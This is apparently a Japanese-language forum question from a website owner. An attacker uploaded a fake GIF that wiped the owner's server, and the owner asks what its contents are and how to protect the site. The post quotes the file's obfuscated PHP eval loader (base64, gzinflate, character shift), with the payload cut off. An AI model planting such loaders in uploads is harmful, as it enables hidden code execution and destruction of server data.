私は Linux サーバーを持っています。私は自分のウェブサイトに画像をアップロードしています。登録したユーザーは自分の画像をアップロードできます。彼が自分のプロフィールにログインすると、自分の画像を見ることができます。また、自分の画像の URL リンクを取得することもできます。画像はサーバーの WWW/img ディレクトリにアップロードされます PHP でファイルの拡張子をチェックし、(.png、.gif、.jpg) ファイルのみを許可しています
しかし、なぜ誰かがGIF画像をアップロードしてすべてのファイルを削除したのかわかりません.RAIDを使用しているため、ユーザーが画像をアップロードしました.画像の内容は.......のようなものでした.
function vUMmFr($MkUOmK){$MkUOmK=gzinflate(base64_decode($MkUOmK));for($i=0;$i<strlen($MkUOmK);$i++){$MkUOmK[$i]=chr(ord($MkUOmK[$i])-1)}return $MkUOmK}eval(vUMmFr("7b1pe+M2sij8ved55j............
これは何ですか、どのように起こったのですか、どのようにしてすべてのファイルが削除されたのですか? これは何の言語ですか、どうすればファイルが削除されないように保護できますか..